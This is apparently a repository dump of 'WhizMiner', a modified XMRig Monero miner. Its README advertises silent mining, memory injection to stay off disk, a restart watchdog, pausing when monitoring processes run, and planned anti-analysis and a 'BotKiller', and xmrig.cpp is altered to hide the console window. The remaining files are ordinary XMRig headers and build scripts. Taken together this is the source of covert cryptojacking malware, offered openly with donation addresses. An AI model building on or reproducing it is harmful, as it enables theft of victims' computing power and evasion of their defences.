VirtualMemory::bindToNUMANode(affinity); 30 | 31 | Platform::trySetThreadAffinity(affinity); 32 | Platform::setThreadPriority(priority); 33 | } 34 | -------------------------------------------------------------------------------- /Modified XMRig/src/base/tools/bswap_64.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2021 SChernykh 3 | * Copyright (c) 2016-2021 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #ifndef XMRIG_BSWAP_64_H 20 | #define XMRIG_BSWAP_64_H 21 | 22 | #ifdef _MSC_VER 23 | 24 | #include 25 | #define bswap_64(x) _byteswap_uint64(x) 26 | #define bswap_32(x) _byteswap_ulong(x) 27 | 28 | #elif defined __GNUC__ 29 | 30 | #define bswap_64(x) __builtin_bswap64(x) 31 | #define bswap_32(x) __builtin_bswap32(x) 32 | 33 | #else 34 | 35 | #include 36 | 37 | #endif 38 | 39 | #endif /* XMRIG_BSWAP_64_H */ 40 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | WhizMiner 3 | ========== 4 | 5 | ### Information 6 | 7 | WhizMiner is an open source, silent XMR miner. The readme will detail features, installation and the roadmap for this project. 8 | 9 | #### Donate 10 | If you like the product or stuff I push out, feel free to star the project or donate directly: 11 | 12 | XMR: 85VkL5hw9YceMWVHPGNoFgLxQxw6qwNdF51uAz96WPYmhDYwswVHhoaWPXWjvFGBstGhUNBgR9UvqcqVvYHDmAvcC9yPy4S 13 | 14 | 15 | BTC: bc1qrj9006vls5udt907ad8jvkts5e4d5tlua5794d 16 | 17 | 18 | LTC: ltc1qw7stjsqayppp726jgjwp2362djw7jplqzj2r0c 19 | 20 | Features 21 | ----------------------- 22 | 23 | - Silent XMR Mining 24 | 25 | - SSL support 26 | 27 | - Domain fallback support 28 | 29 | - Watchdog to detect the miner process and restart if not running 30 | 31 | - Memory injection to keep the miner off disk 32 | 33 | - "Process watch" to pause mining if certain processes are detected running 34 | 35 | - On the fly configurations, to update when needed 36 | 37 | - XMRig Proxy Integration 38 | 39 | Installation 40 | ------------ 41 | **Requirements:** 42 | 43 | - Nothing im goated 44 | 45 | ## Roadmap 46 | 47 | - Server revamp 48 | - Anti Analysis 49 | - BotKiller 50 | 51 | ### Issues 52 | If you notice a bug or any other issue that isn't installation, please feel free to contact me directly, or open an issue on github. 53 | 54 | -------------------------------------------------------------------------------- /Modified XMRig/src/crypto/rx/RxFix.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2019 tevador 3 | * Copyright (c) 2018-2021 SChernykh 4 | * Copyright (c) 2016-2021 XMRig , 5 | * 6 | * This program is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * This program is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with this program. If not, see . 18 | */ 19 | 20 | #ifndef XMRIG_RXFIX_H 21 | #define XMRIG_RXFIX_H 22 | 23 | 24 | #include 25 | 26 | 27 | namespace xmrig 28 | { 29 | 30 | 31 | class RxFix 32 | { 33 | public: 34 | static void setMainLoopBounds(const std::pair &bounds); 35 | static void setupMainLoopExceptionFrame(); 36 | }; 37 | 38 | 39 | } /* namespace xmrig */ 40 | 41 | 42 | #endif /* XMRIG_RXFIX_H */ 43 | -------------------------------------------------------------------------------- /Modified XMRig/src/crypto/cn/c_blake256.h: -------------------------------------------------------------------------------- 1 | #ifndef _BLAKE256_H_ 2 | #define _BLAKE256_H_ 3 | 4 | #include 5 | 6 | typedef struct { 7 | uint32_t h[8], s[4], t[2]; 8 | int buflen, nullt; 9 | uint8_t buf[64]; 10 | } state; 11 | 12 | typedef struct { 13 | state inner; 14 | state outer; 15 | } hmac_state; 16 | 17 | void blake256_init(state *); 18 | void blake224_init(state *); 19 | 20 | void blake256_update(state *, const uint8_t *, uint64_t); 21 | void blake224_update(state *, const uint8_t *, uint64_t); 22 | 23 | void blake256_final(state *, uint8_t *); 24 | void blake224_final(state *, uint8_t *); 25 | 26 | void blake256_hash(uint8_t *, const uint8_t *, uint64_t); 27 | void blake224_hash(uint8_t *, const uint8_t *, uint64_t); 28 | 29 | /* HMAC functions: */ 30 | 31 | void hmac_blake256_init(hmac_state *, const uint8_t *, uint64_t); 32 | void hmac_blake224_init(hmac_state *, const uint8_t *, uint64_t); 33 | 34 | void hmac_blake256_update(hmac_state *, const uint8_t *, uint64_t); 35 | void hmac_blake224_update(hmac_state *, const uint8_t *, uint64_t); 36 | 37 | void hmac_blake256_final(hmac_state *, uint8_t *); 38 | void hmac_blake224_final(hmac_state *, uint8_t *); 39 | 40 | void hmac_blake256_hash(uint8_t *, const uint8_t *, uint64_t, const uint8_t *, uint64_t); 41 | void hmac_blake224_hash(uint8_t *, const uint8_t *, uint64_t, const uint8_t *, uint64_t); 42 | 43 | #endif /* _BLAKE256_H_ */ 44 | -------------------------------------------------------------------------------- /Modified XMRig/src/xmrig.cpp: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2021 SChernykh 3 | * Copyright (c) 2016-2021 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #include "App.h" 20 | #include "base/kernel/Entry.h" 21 | #include "base/kernel/Process.h" 22 | 23 | #pragma comment(linker, "/SUBSYSTEM:windows /ENTRY:mainCRTStartup") 24 | int main(int argc, char **argv) 25 | { 26 | using namespace xmrig; 27 | 28 | Process process(argc, argv); 29 | const Entry::Id entry = Entry::get(process); 30 | if (entry) { 31 | return Entry::exec(process, entry); 32 | } 33 | 34 | App app(&process); 35 | 36 | return app.exec(); 37 | } 38 | -------------------------------------------------------------------------------- /Modified XMRig/src/3rdparty/libethash/fnv.h: -------------------------------------------------------------------------------- 1 | /* 2 | This file is part of cpp-ethereum. 3 | 4 | cpp-ethereum is free software: you can redistribute it and/or modify 5 | it under the terms of the GNU General Public License as published by 6 | the Free Software Foundation, either version 3 of the License, or 7 | (at your option) any later version. 8 | 9 | cpp-ethereum is distributed in the hope that it will be useful, 10 | but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | GNU General Public License for more details. 13 | 14 | You should have received a copy of the GNU General Public License 15 | along with cpp-ethereum. If not, see . 16 | */ 17 | /** @file fnv.h 18 | * @author Matthew Wampler-Doty 19 | * @date 2015 20 | */ 21 | 22 | #pragma once 23 | #include 24 | 25 | #ifdef __cplusplus 26 | extern "C" { 27 | #endif 28 | 29 | #define FNV_PRIME 0x01000193 30 | 31 | /* The FNV-1 spec multiplies the prime with the input one byte (octet) in turn. 32 | We instead multiply it with the full 32-bit input. 33 | This gives a different result compared to a canonical FNV-1 implementation. 34 | */ 35 | static inline uint32_t fnv_hash(uint32_t const x, uint32_t const y) 36 | { 37 | return x * FNV_PRIME ^ y; 38 | } 39 | 40 | #ifdef __cplusplus 41 | } 42 | #endif 43 | -------------------------------------------------------------------------------- /Modified XMRig/src/3rdparty/CL/LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2008-2015 The Khronos Group Inc. 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a 4 | copy of this software and/or associated documentation files (the 5 | "Materials"), to deal in the Materials without restriction, including 6 | without limitation the rights to use, copy, modify, merge, publish, 7 | distribute, sublicense, and/or sell copies of the Materials, and to 8 | permit persons to whom the Materials are furnished to do so, subject to 9 | the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included 12 | in all copies or substantial portions of the Materials. 13 | 14 | MODIFICATIONS TO THIS FILE MAY MEAN IT NO LONGER ACCURATELY REFLECTS 15 | KHRONOS STANDARDS. THE UNMODIFIED, NORMATIVE VERSIONS OF KHRONOS 16 | SPECIFICATIONS AND HEADER INFORMATION ARE LOCATED AT 17 | https://www.khronos.org/registry/ 18 | 19 | THE MATERIALS ARE PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 20 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 21 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. 22 | IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY 23 | CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, 24 | TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE 25 | MATERIALS OR THE USE OR OTHER DEALINGS IN THE MATERIALS. 26 | -------------------------------------------------------------------------------- /Modified XMRig/src/backend/opencl/wrappers/AdlHealth.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright 2008-2018 Advanced Micro Devices, Inc. 3 | * Copyright 2018-2020 SChernykh 4 | * Copyright 2016-2020 XMRig , 5 | * 6 | * This program is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * This program is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with this program. If not, see . 18 | */ 19 | 20 | #ifndef XMRIG_ADLHEALTH_H 21 | #define XMRIG_ADLHEALTH_H 22 | 23 | 24 | #include 25 | #include 26 | 27 | 28 | struct AdlHealth 29 | { 30 | uint32_t clock = 0; 31 | uint32_t memClock = 0; 32 | uint32_t power = 0; 33 | uint32_t rpm = 0; 34 | uint32_t temperature = 0; 35 | }; 36 | 37 | 38 | #endif /* XMRIG_ADLHEALTH_H */ 39 | -------------------------------------------------------------------------------- /Modified XMRig/src/base/io/Env.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2020 SChernykh 3 | * Copyright (c) 2016-2020 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #ifndef XMRIG_ENV_H 20 | #define XMRIG_ENV_H 21 | 22 | 23 | #include "base/tools/String.h" 24 | 25 | 26 | #include 27 | 28 | 29 | namespace xmrig { 30 | 31 | 32 | class Env 33 | { 34 | public: 35 | static String expand(const char *in, const std::map &extra = {}); 36 | static String get(const String &name, const std::map &extra = {}); 37 | static String hostname(); 38 | }; 39 | 40 | 41 | } /* namespace xmrig */ 42 | 43 | 44 | #endif /* XMRIG_ENV_H */ 45 | -------------------------------------------------------------------------------- /Modified XMRig/src/crypto/common/LinuxMemory.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2021 SChernykh 3 | * Copyright (c) 2016-2021 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #ifndef XMRIG_LINUXMEMORY_H 20 | #define XMRIG_LINUXMEMORY_H 21 | 22 | 23 | #include 24 | #include 25 | 26 | 27 | namespace xmrig { 28 | 29 | 30 | class LinuxMemory 31 | { 32 | public: 33 | static bool reserve(size_t size, uint32_t node, size_t hugePageSize); 34 | 35 | static bool write(const char *path, uint64_t value); 36 | static int64_t read(const char *path); 37 | }; 38 | 39 | 40 | } /* namespace xmrig */ 41 | 42 | 43 | #endif /* XMRIG_LINUXMEMORY_H */ 44 | -------------------------------------------------------------------------------- /Modified XMRig/src/backend/opencl/runners/tools/OclKawPow.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2021 SChernykh 3 | * Copyright (c) 2016-2021 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #ifndef XMRIG_OCLKAWPOW_H 20 | #define XMRIG_OCLKAWPOW_H 21 | 22 | 23 | #include 24 | #include 25 | 26 | 27 | using cl_kernel = struct _cl_kernel *; 28 | 29 | 30 | namespace xmrig { 31 | 32 | 33 | class IOclRunner; 34 | 35 | 36 | class OclKawPow 37 | { 38 | public: 39 | static cl_kernel get(const IOclRunner &runner, uint64_t height, uint32_t worksize); 40 | static void clear(); 41 | }; 42 | 43 | 44 | } // namespace xmrig 45 | 46 | 47 | #endif /* XMRIG_OCLKAWPOW_H */ 48 | -------------------------------------------------------------------------------- /Modified XMRig/src/backend/cpu/Cpu.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2023 SChernykh 3 | * Copyright (c) 2016-2023 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #ifndef XMRIG_CPU_H 20 | #define XMRIG_CPU_H 21 | 22 | 23 | #include "backend/cpu/interfaces/ICpuInfo.h" 24 | 25 | 26 | namespace xmrig { 27 | 28 | 29 | class Cpu 30 | { 31 | public: 32 | static ICpuInfo *info(); 33 | static rapidjson::Value toJSON(rapidjson::Document &doc); 34 | static void release(); 35 | 36 | inline static Assembly::Id assembly(Assembly::Id hint) { return hint == Assembly::AUTO ? Cpu::info()->assembly() : hint; } 37 | }; 38 | 39 | 40 | } // namespace xmrig 41 | 42 | 43 | #endif // XMRIG_CPU_H 44 | -------------------------------------------------------------------------------- /Modified XMRig/cmake/os.cmake: -------------------------------------------------------------------------------- 1 | if (WIN32) 2 | set(XMRIG_OS_WIN ON) 3 | elseif (APPLE) 4 | set(XMRIG_OS_APPLE ON) 5 | 6 | if (IOS OR CMAKE_SYSTEM_NAME STREQUAL iOS) 7 | set(XMRIG_OS_IOS ON) 8 | else() 9 | set(XMRIG_OS_MACOS ON) 10 | endif() 11 | else() 12 | set(XMRIG_OS_UNIX ON) 13 | 14 | if (ANDROID OR CMAKE_SYSTEM_NAME MATCHES "Android") 15 | set(XMRIG_OS_ANDROID ON) 16 | elseif(CMAKE_SYSTEM_NAME MATCHES "Linux") 17 | set(XMRIG_OS_LINUX ON) 18 | elseif(CMAKE_SYSTEM_NAME STREQUAL FreeBSD OR CMAKE_SYSTEM_NAME STREQUAL DragonFly) 19 | set(XMRIG_OS_FREEBSD ON) 20 | endif() 21 | endif() 22 | 23 | 24 | if (XMRIG_OS_WIN) 25 | add_definitions(-DWIN32 -DXMRIG_OS_WIN) 26 | elseif(XMRIG_OS_APPLE) 27 | add_definitions(-DXMRIG_OS_APPLE) 28 | 29 | if (XMRIG_OS_IOS) 30 | add_definitions(-DXMRIG_OS_IOS) 31 | else() 32 | add_definitions(-DXMRIG_OS_MACOS) 33 | endif() 34 | 35 | if (XMRIG_ARM) 36 | set(WITH_SECURE_JIT ON) 37 | endif() 38 | elseif(XMRIG_OS_UNIX) 39 | add_definitions(-DXMRIG_OS_UNIX) 40 | 41 | if (XMRIG_OS_ANDROID) 42 | add_definitions(-DXMRIG_OS_ANDROID) 43 | elseif (XMRIG_OS_LINUX) 44 | add_definitions(-DXMRIG_OS_LINUX) 45 | elseif (XMRIG_OS_FREEBSD) 46 | add_definitions(-DXMRIG_OS_FREEBSD) 47 | endif() 48 | endif() 49 | 50 | if (WITH_SECURE_JIT) 51 | add_definitions(-DXMRIG_SECURE_JIT) 52 | endif() 53 | -------------------------------------------------------------------------------- /Modified XMRig/src/base/kernel/interfaces/IAsyncListener.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright 2018-2020 SChernykh 3 | * Copyright 2016-2020 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #ifndef XMRIG_IASYNCLISTENER_H 20 | #define XMRIG_IASYNCLISTENER_H 21 | 22 | 23 | #include "base/tools/Object.h" 24 | 25 | 26 | namespace xmrig { 27 | 28 | 29 | class Async; 30 | 31 | 32 | class IAsyncListener 33 | { 34 | public: 35 | XMRIG_DISABLE_COPY_MOVE(IAsyncListener) 36 | 37 | IAsyncListener() = default; 38 | virtual ~IAsyncListener() = default; 39 | 40 | virtual void onAsync() = 0; 41 | }; 42 | 43 | 44 | } /* namespace xmrig */ 45 | 46 | 47 | #endif // XMRIG_IASYNCLISTENER_H 48 | -------------------------------------------------------------------------------- /Modified XMRig/src/3rdparty/argon2/arch/x86_64/lib/argon2-arch.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include "impl-select.h" 6 | 7 | #include "argon2-sse2.h" 8 | #include "argon2-ssse3.h" 9 | #include "argon2-xop.h" 10 | #include "argon2-avx2.h" 11 | #include "argon2-avx512f.h" 12 | 13 | /* NOTE: there is no portable intrinsic for 64-bit rotate, but any 14 | * sane compiler should be able to compile this into a ROR instruction: */ 15 | #define rotr64(x, n) ((x) >> (n)) | ((x) << (64 - (n))) 16 | 17 | #include "argon2-template-64.h" 18 | 19 | void fill_segment_default(const argon2_instance_t *instance, 20 | argon2_position_t position) 21 | { 22 | fill_segment_64(instance, position); 23 | } 24 | 25 | void argon2_get_impl_list(argon2_impl_list *list) 26 | { 27 | static const argon2_impl IMPLS[] = { 28 | { "x86_64", NULL, fill_segment_default }, 29 | { "SSE2", xmrig_ar2_check_sse2, xmrig_ar2_fill_segment_sse2 }, 30 | { "SSSE3", xmrig_ar2_check_ssse3, xmrig_ar2_fill_segment_ssse3 }, 31 | { "XOP", xmrig_ar2_check_xop, xmrig_ar2_fill_segment_xop }, 32 | { "AVX2", xmrig_ar2_check_avx2, xmrig_ar2_fill_segment_avx2 }, 33 | { "AVX-512F", xmrig_ar2_check_avx512f, xmrig_ar2_fill_segment_avx512f }, 34 | }; 35 | 36 | list->count = sizeof(IMPLS) / sizeof(IMPLS[0]); 37 | list->entries = IMPLS; 38 | } 39 | -------------------------------------------------------------------------------- /Modified XMRig/src/base/kernel/interfaces/IConsoleListener.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2020 SChernykh 3 | * Copyright (c) 2016-2020 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #ifndef XMRIG_ICONSOLELISTENER_H 20 | #define XMRIG_ICONSOLELISTENER_H 21 | 22 | 23 | #include "base/tools/Object.h" 24 | 25 | 26 | namespace xmrig { 27 | 28 | 29 | class IConsoleListener 30 | { 31 | public: 32 | XMRIG_DISABLE_COPY_MOVE(IConsoleListener) 33 | 34 | IConsoleListener() = default; 35 | virtual ~IConsoleListener() = default; 36 | 37 | virtual void onConsoleCommand(char command) = 0; 38 | }; 39 | 40 | 41 | } /* namespace xmrig */ 42 | 43 | 44 | #endif // XMRIG_ICONSOLELISTENER_H 45 | -------------------------------------------------------------------------------- /Modified XMRig/src/core/Taskbar.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2021 SChernykh 3 | * Copyright (c) 2016-2021 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #ifndef XMRIG_TASKBAR_H 20 | #define XMRIG_TASKBAR_H 21 | 22 | 23 | namespace xmrig { 24 | 25 | 26 | struct TaskbarPrivate; 27 | 28 | 29 | class Taskbar 30 | { 31 | public: 32 | Taskbar(); 33 | ~Taskbar(); 34 | 35 | void setActive(bool active); 36 | void setEnabled(bool enabled); 37 | 38 | private: 39 | bool m_active = false; 40 | bool m_enabled = true; 41 | 42 | TaskbarPrivate* d_ptr = nullptr; 43 | 44 | void updateTaskbarColor(); 45 | }; 46 | 47 | 48 | } // namespace xmrig 49 | 50 | 51 | #endif /* XMRIG_TASKBAR_H */ 52 | -------------------------------------------------------------------------------- /Modified XMRig/src/base/kernel/interfaces/ISignalListener.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2020 SChernykh 3 | * Copyright (c) 2016-2020 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #ifndef XMRIG_ISIGNALLISTENER_H 20 | #define XMRIG_ISIGNALLISTENER_H 21 | 22 | 23 | #include "base/tools/Object.h" 24 | 25 | 26 | namespace xmrig { 27 | 28 | 29 | class String; 30 | 31 | 32 | class ISignalListener 33 | { 34 | public: 35 | XMRIG_DISABLE_COPY_MOVE(ISignalListener) 36 | 37 | ISignalListener() = default; 38 | virtual ~ISignalListener() = default; 39 | 40 | virtual void onSignal(int signum) = 0; 41 | }; 42 | 43 | 44 | } /* namespace xmrig */ 45 | 46 | 47 | #endif // XMRIG_ISIGNALLISTENER_H 48 | -------------------------------------------------------------------------------- /Modified XMRig/src/base/kernel/interfaces/ITimerListener.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2020 SChernykh 3 | * Copyright (c) 2016-2020 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #ifndef XMRIG_ITIMERLISTENER_H 20 | #define XMRIG_ITIMERLISTENER_H 21 | 22 | 23 | #include "base/tools/Object.h" 24 | 25 | 26 | namespace xmrig { 27 | 28 | 29 | class Timer; 30 | 31 | 32 | class ITimerListener 33 | { 34 | public: 35 | XMRIG_DISABLE_COPY_MOVE(ITimerListener) 36 | 37 | ITimerListener() = default; 38 | virtual ~ITimerListener() = default; 39 | 40 | virtual void onTimer(const Timer *timer) = 0; 41 | }; 42 | 43 | 44 | } /* namespace xmrig */ 45 | 46 | 47 | #endif // XMRIG_ITIMERLISTENER_H 48 | -------------------------------------------------------------------------------- /Modified XMRig/src/crypto/cn/CnCtx.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018 Lee Clagett 3 | * Copyright (c) 2018-2020 SChernykh 4 | * Copyright (c) 2016-2020 XMRig , 5 | * 6 | * This program is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * This program is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with this program. If not, see . 18 | */ 19 | 20 | #ifndef XMRIG_CN_CTX_H 21 | #define XMRIG_CN_CTX_H 22 | 23 | 24 | #include 25 | #include 26 | 27 | 28 | struct cryptonight_ctx; 29 | 30 | 31 | namespace xmrig 32 | { 33 | 34 | 35 | class CnCtx 36 | { 37 | public: 38 | static void create(cryptonight_ctx **ctx, uint8_t *memory, size_t size, size_t count); 39 | static void release(cryptonight_ctx **ctx, size_t count); 40 | }; 41 | 42 | 43 | } /* namespace xmrig */ 44 | 45 | 46 | #endif /* XMRIG_CN_CTX_H */ 47 | -------------------------------------------------------------------------------- /Modified XMRig/src/base/net/dns/DnsRequest.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2021 SChernykh 3 | * Copyright (c) 2016-2021 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #ifndef XMRIG_DNSREQUEST_H 20 | #define XMRIG_DNSREQUEST_H 21 | 22 | 23 | #include "base/tools/Object.h" 24 | 25 | 26 | #include 27 | 28 | 29 | namespace xmrig { 30 | 31 | 32 | class IDnsListener; 33 | 34 | 35 | class DnsRequest 36 | { 37 | public: 38 | XMRIG_DISABLE_COPY_MOVE_DEFAULT(DnsRequest) 39 | 40 | DnsRequest(IDnsListener *listener) : listener(listener) {} 41 | ~DnsRequest() = default; 42 | 43 | IDnsListener *listener; 44 | }; 45 | 46 | 47 | } /* namespace xmrig */ 48 | 49 | 50 | #endif /* XMRIG_DNSREQUEST_H */ 51 | -------------------------------------------------------------------------------- /Modified XMRig/src/base/kernel/interfaces/IBaseListener.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright 2018-2021 SChernykh 3 | * Copyright 2016-2021 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #ifndef XMRIG_IBASELISTENER_H 20 | #define 